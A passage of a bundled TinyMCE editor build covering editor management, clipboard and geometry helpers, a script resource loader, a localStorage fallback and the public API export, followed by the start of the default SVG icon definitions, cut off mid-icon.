            each(targets, elm => {
              if (isInvalidInlineTarget(options, elm)) {
                initError('Could not initialize inline editor on invalid inline target element', elm);
              } else {
                createEditor(createId(elm), options, elm);
              }
            });
          }
        };
        DOM.bind(window, 'ready', initEditors);
        return new Promise(resolve => {
          if (result) {
            resolve(result);
          } else {
            provideResults = editors => {
              resolve(editors);
            };
          }
        });
      },
      get(id) {
        if (arguments.length === 0) {
          return editors.slice(0);
        } else if (isString(id)) {
          return find$2(editors, editor => {
            return editor.id === id;
          }).getOr(null);
        } else if (isNumber(id)) {
          return editors[id] ? editors[id] : null;
        } else {
          return null;
        }
      },
      add(editor) {
        const self = this;
        const existingEditor = self.get(editor.id);
        if (existingEditor === editor) {
          return editor;
        }
        if (existingEditor === null) {
          editors.push(editor);
        }
        toggleGlobalEvents(true);
        self.activeEditor = editor;
        self.dispatch('AddEditor', { editor });
        if (!beforeUnloadDelegate) {
          beforeUnloadDelegate = e => {
            const event = self.dispatch('BeforeUnload');
            if (event.returnValue) {
              e.preventDefault();
              e.returnValue = event.returnValue;
              return event.returnValue;
            }
          };
          window.addEventListener('beforeunload', beforeUnloadDelegate);
        }
        return editor;
      },
      createEditor(id, options) {
        return this.add(new Editor(id, options, this));
      },
      remove(selector) {
        const self = this;
        let editor;
        if (!selector) {
          for (let i = editors.length - 1; i >= 0; i--) {
            self.remove(editors[i]);
          }
          return;
        }
        if (isString(selector)) {
          each(DOM.select(selector), elm => {
            editor = self.get(elm.id);
            if (editor) {
              self.remove(editor);
            }
          });
          return;
        }
        editor = selector;
        if (isNull(self.get(editor.id))) {
          return null;
        }
        if (removeEditorFromList(editor)) {
          self.dispatch('RemoveEditor', { editor });
        }
        if (editors.length === 0) {
          window.removeEventListener('beforeunload', beforeUnloadDelegate);
        }
        editor.remove();
        toggleGlobalEvents(editors.length > 0);
        return editor;
      },
      execCommand(cmd, ui, value) {
        var _a;
        const self = this;
        const editorId = isObject(value) ? (_a = value.id) !== null && _a !== void 0 ? _a : value.index : value;
        switch (cmd) {
        case 'mceAddEditor': {
            if (!self.get(editorId)) {
              const editorOptions = value.options;
              new Editor(editorId, editorOptions, self).render();
            }
            return true;
          }
        case 'mceRemoveEditor': {
            const editor = self.get(editorId);
            if (editor) {
              editor.remove();
            }
            return true;
          }
        case 'mceToggleEditor': {
            const editor = self.get(editorId);
            if (!editor) {
              self.execCommand('mceAddEditor', false, value);
              return true;
            }
            if (editor.isHidden()) {
              editor.show();
            } else {
              editor.hide();
            }
            return true;
          }
        }
        if (self.activeEditor) {
          return self.activeEditor.execCommand(cmd, ui, value);
        }
        return false;
      },
      triggerSave: () => {
        each(editors, editor => {
          editor.save();
        });
      },
      addI18n: (code, items) => {
        I18n.add(code, items);
      },
      translate: text => {
        return I18n.translate(text);
      },
      setActive(editor) {
        const activeEditor = this.activeEditor;
        if (this.activeEditor !== editor) {
          if (activeEditor) {
            activeEditor.dispatch('deactivate', { relatedTarget: editor });
          }
          editor.dispatch('activate', { relatedTarget: activeEditor });
        }
        this.activeEditor = editor;
      },
      _setBaseUrl(baseUrl) {
        this.baseURL = new URI(this.documentBaseURL).toAbsolute(baseUrl.replace(/\/+$/, ''));
        this.baseURI = new URI(this.baseURL);
      }
    };
    EditorManager.setup();

    const setup = () => {
      const dataValue = value$2();
      const FakeClipboardItem = items => ({
        items,
        types: keys(items),
        getType: type => get$a(items, type).getOrUndefined()
      });
      const write = data => {
        dataValue.set(data);
      };
      const read = () => dataValue.get().getOrUndefined();
      const clear = dataValue.clear;
      return {
        FakeClipboardItem,
        write,
        read,
        clear
      };
    };
    const FakeClipboard = setup();

    const min = Math.min, max = Math.max, round = Math.round;
    const relativePosition = (rect, targetRect, rel) => {
      let x = targetRect.x;
      let y = targetRect.y;
      const w = rect.w;
      const h = rect.h;
      const targetW = targetRect.w;
      const targetH = targetRect.h;
      const relChars = (rel || '').split('');
      if (relChars[0] === 'b') {
        y += targetH;
      }
      if (relChars[1] === 'r') {
        x += targetW;
      }
      if (relChars[0] === 'c') {
        y += round(targetH / 2);
      }
      if (relChars[1] === 'c') {
        x += round(targetW / 2);
      }
      if (relChars[3] === 'b') {
        y -= h;
      }
      if (relChars[4] === 'r') {
        x -= w;
      }
      if (relChars[3] === 'c') {
        y -= round(h / 2);
      }
      if (relChars[4] === 'c') {
        x -= round(w / 2);
      }
      return create$2(x, y, w, h);
    };
    const findBestRelativePosition = (rect, targetRect, constrainRect, rels) => {
      for (let i = 0; i < rels.length; i++) {
        const pos = relativePosition(rect, targetRect, rels[i]);
        if (pos.x >= constrainRect.x && pos.x + pos.w <= constrainRect.w + constrainRect.x && pos.y >= constrainRect.y && pos.y + pos.h <= constrainRect.h + constrainRect.y) {
          return rels[i];
        }
      }
      return null;
    };
    const inflate = (rect, w, h) => {
      return create$2(rect.x - w, rect.y - h, rect.w + w * 2, rect.h + h * 2);
    };
    const intersect = (rect, cropRect) => {
      const x1 = max(rect.x, cropRect.x);
      const y1 = max(rect.y, cropRect.y);
      const x2 = min(rect.x + rect.w, cropRect.x + cropRect.w);
      const y2 = min(rect.y + rect.h, cropRect.y + cropRect.h);
      if (x2 - x1 < 0 || y2 - y1 < 0) {
        return null;
      }
      return create$2(x1, y1, x2 - x1, y2 - y1);
    };
    const clamp = (rect, clampRect, fixedSize) => {
      let x1 = rect.x;
      let y1 = rect.y;
      let x2 = rect.x + rect.w;
      let y2 = rect.y + rect.h;
      const cx2 = clampRect.x + clampRect.w;
      const cy2 = clampRect.y + clampRect.h;
      const underflowX1 = max(0, clampRect.x - x1);
      const underflowY1 = max(0, clampRect.y - y1);
      const overflowX2 = max(0, x2 - cx2);
      const overflowY2 = max(0, y2 - cy2);
      x1 += underflowX1;
      y1 += underflowY1;
      if (fixedSize) {
        x2 += underflowX1;
        y2 += underflowY1;
        x1 -= overflowX2;
        y1 -= overflowY2;
      }
      x2 -= overflowX2;
      y2 -= overflowY2;
      return create$2(x1, y1, x2 - x1, y2 - y1);
    };
    const create$2 = (x, y, w, h) => {
      return {
        x,
        y,
        w,
        h
      };
    };
    const fromClientRect = clientRect => {
      return create$2(clientRect.left, clientRect.top, clientRect.width, clientRect.height);
    };
    const Rect = {
      inflate,
      relativePosition,
      findBestRelativePosition,
      intersect,
      clamp,
      create: create$2,
      fromClientRect
    };

    const awaiter = (resolveCb, rejectCb, timeout = 1000) => {
      let done = false;
      let timer = null;
      const complete = completer => (...args) => {
        if (!done) {
          done = true;
          if (timer !== null) {
            clearTimeout(timer);
            timer = null;
          }
          completer.apply(null, args);
        }
      };
      const resolve = complete(resolveCb);
      const reject = complete(rejectCb);
      const start = (...args) => {
        if (!done && timer === null) {
          timer = setTimeout(() => reject.apply(null, args), timeout);
        }
      };
      return {
        start,
        resolve,
        reject
      };
    };
    const create$1 = () => {
      const tasks = {};
      const resultFns = {};
      const load = (id, url) => {
        const loadErrMsg = `Script at URL "${ url }" failed to load`;
        const runErrMsg = `Script at URL "${ url }" did not call \`tinymce.Resource.add('${ id }', data)\` within 1 second`;
        if (tasks[id] !== undefined) {
          return tasks[id];
        } else {
          const task = new Promise((resolve, reject) => {
            const waiter = awaiter(resolve, reject);
            resultFns[id] = waiter.resolve;
            ScriptLoader.ScriptLoader.loadScript(url).then(() => waiter.start(runErrMsg), () => waiter.reject(loadErrMsg));
          });
          tasks[id] = task;
          return task;
        }
      };
      const add = (id, data) => {
        if (resultFns[id] !== undefined) {
          resultFns[id](data);
          delete resultFns[id];
        }
        tasks[id] = Promise.resolve(data);
      };
      const unload = id => {
        delete tasks[id];
      };
      return {
        load,
        add,
        unload
      };
    };
    const Resource = create$1();

    const create = () => (() => {
      let data = {};
      let keys = [];
      const storage = {
        getItem: key => {
          const item = data[key];
          return item ? item : null;
        },
        setItem: (key, value) => {
          keys.push(key);
          data[key] = String(value);
        },
        key: index => {
          return keys[index];
        },
        removeItem: key => {
          keys = keys.filter(k => k === key);
          delete data[key];
        },
        clear: () => {
          keys = [];
          data = {};
        },
        length: 0
      };
      Object.defineProperty(storage, 'length', {
        get: () => keys.length,
        configurable: false,
        enumerable: false
      });
      return storage;
    })();

    let localStorage;
    try {
      const test = '__storage_test__';
      localStorage = window.localStorage;
      localStorage.setItem(test, test);
      localStorage.removeItem(test);
    } catch (e) {
      localStorage = create();
    }
    var LocalStorage = localStorage;

    const publicApi = {
      geom: { Rect },
      util: {
        Delay,
        Tools,
        VK,
        URI,
        EventDispatcher,
        Observable,
        I18n,
        LocalStorage,
        ImageUploader
      },
      dom: {
        EventUtils,
        TreeWalker: DomTreeWalker,
        TextSeeker,
        DOMUtils,
        ScriptLoader,
        RangeUtils,
        Serializer: DomSerializer,
        StyleSheetLoader,
        ControlSelection,
        BookmarkManager,
        Selection: EditorSelection,
        Event: EventUtils.Event
      },
      html: {
        Styles,
        Entities,
        Node: AstNode,
        Schema,
        DomParser,
        Writer,
        Serializer: HtmlSerializer
      },
      Env,
      AddOnManager,
      Annotator,
      Formatter,
      UndoManager,
      EditorCommands,
      WindowManager,
      NotificationManager,
      EditorObservable,
      Shortcuts,
      Editor,
      FocusManager,
      EditorManager,
      DOM: DOMUtils.DOM,
      ScriptLoader: ScriptLoader.ScriptLoader,
      PluginManager,
      ThemeManager,
      ModelManager,
      IconManager,
      Resource,
      FakeClipboard,
      trim: Tools.trim,
      isArray: Tools.isArray,
      is: Tools.is,
      toArray: Tools.toArray,
      makeMap: Tools.makeMap,
      each: Tools.each,
      map: Tools.map,
      grep: Tools.grep,
      inArray: Tools.inArray,
      extend: Tools.extend,
      walk: Tools.walk,
      resolve: Tools.resolve,
      explode: Tools.explode,
      _addCacheSuffix: Tools._addCacheSuffix
    };
    const tinymce = Tools.extend(EditorManager, publicApi);

    const exportToModuleLoaders = tinymce => {
      if (true) {
        try {
          module.exports = tinymce;
        } catch (_) {
        }
      }
    };
    const exportToWindowGlobal = tinymce => {
      window.tinymce = tinymce;
      window.tinyMCE = tinymce;
    };
    exportToWindowGlobal(tinymce);
    exportToModuleLoaders(tinymce);

})();


/***/ }),
/* 2 */
/***/ (() => {

tinymce.IconManager.add('default', {
  icons: {
    'accessibility-check': '<svg width="24" height="24"><path d="M12 2a2 2 0 0 1 2 2 2 2 0 0 1-2 2 2 2 0 0 1-2-2c0-1.1.9-2 2-2Zm8 7h-5v12c0 .6-.4 1-1 1a1 1 0 0 1-1-1v-5c0-.6-.4-1-1-1a1 1 0 0 0-1 1v5c0 .6-.4 1-1 1a1 1 0 0 1-1-1V9H4a1 1 0 1 1 0-2h16c.6 0 1 .4 1 1s-.4 1-1 1Z" fill-rule="nonzero"/></svg>',
    'action-next': '<svg width="24" height="24"><path fill-rule="nonzero" d="M5.7 7.3a1 1 0 0 0-1.4 1.4l7.7 7.7 7.7-7.7a1 1 0 1 0-1.4-1.4L12 13.6 5.7 7.3Z"/></svg>',
    'action-prev': '<svg width="24" height="24"><path fill-rule="nonzero" d="M18.3 15.7a1 1 0 0 0 1.4-1.4L12 6.6l-7.7 7.7a1 1 0 0 0 1.4 1.4L12 9.4l6.3 6.3Z"/></svg>',
    'addtag': '<svg width="24" height="24"><path fill-rule="evenodd" clip-rule="evenodd" d="M15 5a2 2 0 0 1 1.6.8L21 12l-4.4 6.2a2 2 0 0 1-1.6.8h-3v-2h3l3.5-5L15 7H5v3H3V7c0-1.1.9-2 2-2h10Z"/><path fill-rule="evenodd" clip-rule="evenodd" d="M6 12a1 1 0 0 0-1 1v2H3a1 1 0 1 0 0 2h2v2a1 1 0 1 0 2 0v-2h2a1 1 0 1 0 0-2H7v-2c0-.6-.4-1-1-1Z"/></svg>',
    'align-center': '<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2Zm3 4h8c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 1 1 0-2Zm0 8h8c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 0 1 0-2Zm-3-4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2Z" fill-rule="evenodd"/></svg>',
    'align-justify': '<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2Zm0 4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2Zm0 4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2Zm0 4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2Z" fill-rule="evenodd"/></svg>',
    'align-left': '<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2Zm0 4h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2Zm0 8h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2Zm0-4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2Z" fill-rule="evenodd"/></svg>',
    'align-none': '<svg width="24" height="24"><path d="M14.2 5 13 7H5a1 1 0 1 1 0-2h9.2Zm4 0h.8a1 1 0 0 1 0 2h-2l1.2-2Zm-6.4 4-1.2 2H5a1 1 0 0 1 0-2h6.8Zm4 0H19a1 1 0 0 1 0 2h-4.4l1.2-2Zm-6.4 4-1.2 2H5a1 1 0 0 1 0-2h4.4Zm4 0H19a1 1 0 0 1 0 2h-6.8l1.2-2ZM7 17l-1.2 2H5a1 1 0 0 1 0-2h2Zm4 0h8a1 1 0 0 1 0 2H9.8l1.2-2Zm5.2-13.5 1.3.7-9.7 16.3-1.3-.7 9.7-16.3Z" fill-rule="evenodd"/></svg>',
    'align-right': '<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2Zm6 4h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0 8h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm-6-4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2Z" fill-rule="evenodd"/></svg>',
    'arrow-left': '<svg width="24" height="24"><path d="m5.6 13 12 6a1 1 0 0 0 1.4-1V6a1 1 0 0 0-1.4-.9l-12 6a1 1 0 0 0 0 1.8Z" fill-rule="evenodd"/></svg>',
    'arrow-right': '<svg width="24" height="24"><path d="m18.5 13-12 6A1 1 0 0 1 5 18V6a1 1 0 0 1 1.4-.9l12 6a1 1 0 0 1 0 1.8Z" fill-rule="evenodd"/></svg>',
    'bold': '<svg width="24" height="24"><path d="M7.8 19c-.3 0-.5 0-.6-.2l-.2-.5V5.7c0-.2 0-.4.2-.5l.6-.2h5c1.5 0 2.7.3 3.5 1 .7.6 1.1 1.4 1.1 2.5a3 3 0 0 1-.6 1.9c-.4.6-1 1-1.6 1.2.4.1.9.3 1.3.6s.8.7 1 1.2c.4.4.5 1 .5 1.6 0 1.3-.4 2.3-1.3 3-.8.7-2.1 1-3.8 1H7.8Zm5-8.3c.6 0 1.2-.1 1.6-.5.4-.3.6-.7.6-1.3 0-1.1-.8-1.7-2.3-1.7H9.3v3.5h3.4Zm.5 6c.7 0 1.3-.1 1.7-.4.4-.4.6-.9.6-1.5s-.2-1-.7-1.4c-.4-.3-1-.4-2-.4H9.4v3.8h4Z" fill-rule="evenodd"/></svg>',
    'bookmark': '<svg width="24" height="24"><path d="M6 4v17l6-4 6 4V4c0-.6-.4-1-1-1H7a1 1 0 0 0-1 1Z" fill-rule="nonzero"/></svg>',
    'border-style': '<svg width="24" height="24"><g fill-rule="evenodd"><rect width="18" height="2" x="3" y="6" rx="1"/><rect width="2.8" height="2" x="3" y="16" rx="1"/><rect width="2.8" height="2" x="6.8" y="16" rx="1"/><rect width="2.8" height="2" x="10.6" y="16" rx="1"/><rect width="2.8" height="2" x="14.4" y="16" rx="1"/><rect width="2.8" height="2" x="18.2" y="16" rx="1"/><rect width="8" height="2" x="3" y="11" rx="1"/><rect width="8" height="2" x="13" y="11" rx="1"/></g></svg>',
    'border-width': '<svg width="24" height="24"><g fill-rule="evenodd"><rect width="18" height="5" x="3" y="5" rx="1"/><rect width="18" height="3.5" x="3" y="11.5" rx="1"/><rect width="18" height="2" x="3" y="17" rx="1"/></g></svg>',
    'brightness': '<svg width="24" height="24"><path d="M12 17c.3 0 .5.1.7.3.2.2.3.4.3.7v1c0 .3-.1.5-.3.7a1 1 0 0 1-.7.3 1 1 0 0 1-.7-.3 1 1 0 0 1-.3-.7v-1c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3Zm0-10a1 1 0 0 1-.7-.3A1 1 0 0 1 11 6V5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3.3 0 .5.1.7.3.2.2.3.4.3.7v1c0 .3-.1.5-.3.7a1 1 0 0 1-.7.3Zm7 4c.3 0 .5.1.7.3.2.2.3.4.3.7 0 .3-.1.5-.3.7a1 1 0 0 1-.7.3h-1a1 1 0 0 1-.7-.3 1 1 0 0 1-.3-.7c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h1ZM7 12c0 .3-.1.5-.3.7a1 1 0 0 1-.7.3H5a1 1 0 0 1-.7-.3A1 1 0 0 1 4 12c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h1c.3 0 .5.1.7.3.2.2.3.4.3.7Zm10 3.5.7.8c.2.1.3.4.3.6 0 .3-.1.6-.3.8a1 1 0 0 1-.8.3 1 1 0 0 1-.6-.3l-.8-.7a1 1 0 0 1-.3-.8c0-.2.1-.5.3-.7a1 1 0 0 1 1.4 0Zm-10-7-.7-.8a1 1 0 0 1-.3-.6c0-.3.1-.6.3-.8.2-.2.5-.3.8-.3.2 0 .5.1.7.3l.7.7c.2.2.3.5.3.8 0 .2-.1.5-.3.7a1 1 0 0 1-.7.3 1 1 0 0 1-.8-.3Zm10 0a1 1 0 0 1-.8.3 1 1 0 0 1-.7-.3 1 1 0 0 1-.3-.7c0-.3.1-.6.3-.8l.8-.7c.1-.2.4-.3.6-.3.3 0 .6.1.8.3.2.2.3.5.3.8 0 .2-.1.5-.3.7l-.7.7Zm-10 7c.2-.2.5-.3.8-.3.2 0 .5.1.7.3a1 1 0 0 1 0 1.4l-.8.8a1 1 0 0 1-.6.3 1 1 0 0 1-.8-.3 1 1 0 0 1-.3-.8c0-.2.1-.5.3-.6l.7-.8ZM12 8a4 4 0 0 1 3.7 2.4 4 4 0 0 1 0 3.2A4 4 0 0 1 12 16a4 4 0 0 1-3.7-2.4 4 4 0 0 1 0-3.2A4 4 0 0 1 12 8Zm0 6.5c.7 0 1.3-.2 1.8-.7.5-.5.7-1.1.7-1.8s-.2-1.3-.7-1.8c-.5-.5-1.1-.7-1.8-.7s-1.3.2-1.8.7c-.5.5-.7 1.1-.7 1.8s.2 1.3.7 1.8c.5.5 1.1.7 1.8.7Z" fill-rule="evenodd"/></svg>',
    'browse': '<svg width="24" height="24"><path d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2h-4v-2h4V8H5v10h4v2H5a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2h14Zm-8 9.4-2.3 2.3a1 1 0 1 1-1.4-1.4l4-4a1 1 0 0 1 1.4 0l4 4a1 1 0 0 1-1.4 1.4L13 13.4V20a1 1 0 0 1-2 0v-6.6Z" fill-rule="nonzero"/></svg>',
    'cancel': '<svg width="24" height="24"><path d="M12 4.6a7.4 7.4 0 1 1 0 14.8 7.4 7.4 0 0 1 0-14.8ZM12 3a9 9 0 1 0 0 18 9 9 0 0 0 0-18Zm0 8L14.8 8l1 1.1-2.7 2.8 2.7 2.7-1.1 1.1-2.7-2.7-2.7 2.7-1-1.1 2.6-2.7-2.7-2.7 1-1.1 2.8 2.7Z" fill-rule="nonzero"/></svg>',
    'cell-background-color': '<svg width="24" height="24"><path d="m15.7 2 1.6 1.6-2.7 2.6 5.9 5.8c.7.7.7 1.7 0 2.4l-6.3 6.1a1.7 1.7 0 0 1-2.4 0l-6.3-6.1c-.7-.7-.7-1.7 0-2.4L15.7 2ZM18 12l-4.5-4L9 12h9ZM4 16s2 2.4 2 3.8C6 21 5.1 22 4 22s-2-1-2-2.2C2 18.4 4 16 4 16Z"/></svg>',
    'cell-border-color': '<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M5 13v5h2v2H5a2 2 0 0 1-2-2v-5h2zm8-7V4h6a2 2 0 0 1 2 2h-8z" opacity=".2"/><path fill-rule="nonzero" d="M13 4v2H5v7H3V6c0-1.1.9-2 2-2h8zm-2.6 14.1.1-.1.1.1.2.3.2.2.2.2c.4.6.8 1.2.8 1.7 0 .8-.7 1.5-1.5 1.5S9 21.3 9 20.5c0-.5.4-1.1.8-1.7l.2-.2.2-.2.2-.3z"/><path d="m13 11-2 2H5v-2h6V6h2z"/><path fill-rule="nonzero" d="m18.4 8 1 1-1.8 1.9 4 4c.5.4.5 1.1 0 1.6l-4.3 4.2a1.2 1.2 0 0 1-1.6 0l-4.4-4.2c-.4-.5-.4-1.2 0-1.7l7-6.8Zm1.6 7-3-3-3 3h6Z"/></g></svg>',
    'change-case': '<svg width="24" height="24"><path d="M18.4 18.2v-.6c-.5.8-1.3 1.2-2.4 1.2-2.2 0-3.3-1.6-3.3-4.8 0-3.1 1-4.7 3.3-4.7 1.1 0 1.8.3 2.4 1.1v-.6c0-.5.4-.8.8-.8s.8.3.8.8v8.4c0 .5-.4.8-.8.8a.8.8 0 0 1-.8-.8zm-2-7.4c-1.3 0-1.8.9-1.8 3.2 0 2.4.5 3.3 1.7 3.3 1.3 0 1.8-.9 1.8-3.2 0-2.4-.5-3.3-1.7-3.3zM10 15.7H5.5l-.8 2.6a1 1 0 0 1-1 .7h-.2a.7.7 0 0 1-.7-1l4-12a1 1 0 0 1 2 0l4 12a.7.7 0 0 1-.8 1h-.2a1 1 0 0 1-1-.7l-.8-2.6zm-.3-1.5-2-6.5-1.9 6.5h3.9z" fill-rule="evenodd"/></svg>',
    'character-count': '<svg width="24" height="24"><path d="M4 11.5h16v1H4v-1Zm4.8-6.8V10H7.7V5.8h-1v-1h2ZM11 8.3V9h2v1h-3V7.7l2-1v-.9h-2v-1h3v2.4l-2 1Zm6.3-3.4V10h-3.1V9h2.1V8h-2.1V6.8h2.1v-1h-2.1v-1h3.1ZM5.8 16.4c0-.5.2-.8.5-1 .2-.2.6-.3 1.2-.3l.8.1c.2 0 .4.2.5.3l.4.4v2.8l.2.3H8.2V18.7l-.6.3H7c-.4 0-.7 0-1-.2a1 1 0 0 1-.3-.9c0-.3 0-.6.3-.8.3-.2.7-.4 1.2-.4l.6-.2h.3v-.2l-.1-.2a.8.8 0 0 0-.5-.1 1 1 0 0 0-.4 0l-.3.4h-1Zm2.3.8h-.2l-.2.1-.4.1a1 1 0 0 0-.4.2l-.2.2.1.3.5.1h.4l.4-.4v-.6Zm2-3.4h1.2v1.7l.5-.3h.5c.5 0 .9.1 1.2.5.3.4.5.8.5 1.4 0 .6-.2 1.1-.5 1.5-.3.4-.7.6-1.3.6l-.6-.1-.4-.4v.4h-1.1v-5.4Zm1.1 3.3c0 .3 0 .6.2.8a.7.7 0 0 0 1.2 0l.2-.8c0-.4 0-.6-.2-.8a.7.7 0 0 0-.6-.3l-.6.3-.2.8Zm6.1-.5c0-.2 0-.3-.2-.4a.8.8 0 0 0-.5-.2c-.3 0-.5.1-.6.3l-.2.9c0 .3 0 .6.2.8.1.2.3.3.6.3.2 0 .4 0 .5-.2l.2-.4h1.1c0 .5-.3.8-.6 1.1a2 2 0 0 1-1.3.4c-.5 0-1-.2-1.3-.6a2 2 0 0 1-.5-1.4c0-.6.1-1.1.5-1.5.3-.4.8-.5 1.4-.5.5 0 1 0 1.2.3.4.3.5.7.5 1.2h-1v-.1Z" fill-rule="evenodd"/></svg>',
    'checklist-rtl': '<svg width="24" height="24"><path d="M5 17h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2zm14.2 11c.2-.4.6-.5.9-.3.3.2.4.6.2 1L18 20c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 0 1 0-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L18 14c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 0 1 0-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L18 8c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 0 1 0-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8z" fill-rule="evenodd"/></svg>',
    'checklist': '<svg width="24" height="24"><path d="M11 17h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0-6h8a1 1 0 0 1 0 2h-8a1 1 0 0 1 0-2ZM7.2 16c.2-.4.6-.5.9-.3.3.2.4.6.2 1L6 20c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 0 1 0-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8Zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L6 14c-.2.3-.7.4-1 0l-1.3-1.3a.7.7 0 0 1 0-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8Zm0-6c.2-.4.6-.5.9-.3.3.2.4.6.2 1L6 8c-.2.3-.7.4-1 0L3.8 6.9a.7.7 0 0 1 0-1c.3-.2.7-.2 1 0l.7.9 1.7-2.8Z" fill-rule="evenodd"/></svg>',
    'checkmark': '<svg width="24" height="24"><path d="M18.2 5.4a1 1 0 0 1 1.6 1.2l-8 12a1 1 0 0 1-1.5.1l-5-5a1 1 0 1 1 1.4-1.4l4.1 4.1 7.4-11Z" fill-rule="nonzero"/></svg>',
    'chevron-down': '<svg width="10" height="10"><path d="M8.7 2.2c.3-.3.8-.3 1 0 .4.4.4.9 0 1.2L5.7 7.8c-.3.3-.9.3-1.2 0L.2 3.4a.8.8 0 0 1 0-1.2c.3-.3.8-.3 1.1 0L5 6l3.7-3.8Z" fill-rule="nonzero"/></svg>',
    'chevron-left': '<svg width="10" height="10"><path d="M7.8 1.3 4 5l3.8 3.7c.3.3.3.8 0 1-.4.4-.9.4-1.2 0L2.2 5.7a.8.8 0 0 1 0-1.2L6.6.2C7 0 7.4 0 7.8.2c.3.3.3.8 0 1.1Z" fill-rule="nonzero"/></svg>',
    'chevron-right': '<svg width="10" height="10"><path d="M2.2 1.3a.8.8 0 0 1 0-1c.4-.4.9-.4 1.2 0l4.4 4.1c.3.4.3.9 0 1.2L3.4 9.8c-.3.3-.8.3-1.2 0a.8.8 0 0 1 0-1.1L6 5 2.2 1.3Z" fill-rule="nonzero"/></svg>',
    'chevron-up': '<svg width="10" height="10"><path d="M8.7 7.8 5 4 1.3 7.8c-.3.3-.8.3-1 0a.8.8 0 0 1 0-1.2l4.1-4.4c.3-.3.9-.3 1.2 0l4.2 4.4c.3.3.3.9 0 1.2-.3.3-.8.3-1.1 0Z" fill-rule="nonzero"/></svg>',
    'close': '<svg width="24" height="24"><path d="M17.3 8.2 13.4 12l3.9 3.8a1 1 0 0 1-1.5 1.5L12 13.4l-3.8 3.9a1 1 0 0 1-1.5-1.5l3.9-3.8-3.9-3.8a1 1 0 0 1 1.5-1.5l3.8 3.9 3.8-3.9a1 1 0 0 1 1.5 1.5Z" fill-rule="evenodd"/></svg>',
    'code-sample': '<svg width="24" height="26"><path d="M7.1 11a2.8 2.8 0 0 1-.8 2 2.8 2.8 0 0 1 .8 2v1.7c0 .3.1.6.4.8.2.3.5.4.8.4.3 0 .4.2.4.4v.8c0 .2-.1.4-.4.4-.7 0-1.4-.3-2-.8-.5-.6-.8-1.3-.8-2V15c0-.3-.1-.6-.4-.8-.2-.3-.5-.4-.8-.4a.4.4 0 0 1-.4-.4v-.8c0-.2.2-.4.4-.4.3 0 .6-.1.8-.4.3-.2.4-.5.4-.8V9.3c0-.7.3-1.4.8-2 .6-.5 1.3-.8 2-.8.3 0 .4.2.4.4v.8c0 .2-.1.4-.4.4-.3 0-.6.1-.8.4-.3.2-.4.5-.4.8V11Zm9.8 0V9.3c0-.3-.1-.6-.4-.8-.2-.3-.5-.4-.8-.4a.4.4 0 0 1-.4-.4V7c0-.2.1-.4.4-.4.7 0 1.4.3 2 .8.5.6.8 1.3.8 2V11c0 .3.1.6.4.8.2.3.5.4.8.4.2 0 .4.2.4.4v.8c0 .2-.2.4-.4.4-.3 0-.6.1-.8.4-.3.2-.4.5-.4.8v1.7c0 .7-.3 1.4-.8 2-.6.5-1.3.8-2 .8a.4.4 0 0 1-.4-.4v-.8c0-.2.1-.4.4-.4.3 0 .6-.1.8-.4.3-.2.4-.5.4-.8V15a2.8 2.8 0 0 1 .8-2 2.8 2.8 0 0 1-.8-2Zm-3.3-.4c0 .4-.1.8-.5 1.1-.3.3-.7.5-1.1.5-.4 0-.8-.2-1.1-.5-.4-.3-.5-.7-.5-1.1 0-.5.1-.9.5-1.2.3-.3.7-.4 1.1-.4.4 0 .8.1 1.1.4.4.3.5.7.5 1.2ZM12 13c.4 0 .8.1 1.1.5.4.3.5.7.5 1.1 0 1-.1 1.6-.5 2a3 3 0 0 1-1.1 1c-.4.3-.8.4-1.1.4a.5.5 0 0 1-.5-.5V17a3 3 0 0 0 1-.2l.6-.6c-.6 0-1-.2-1.3-.5-.2-.3-.3-.7-.3-1 0-.5.1-1 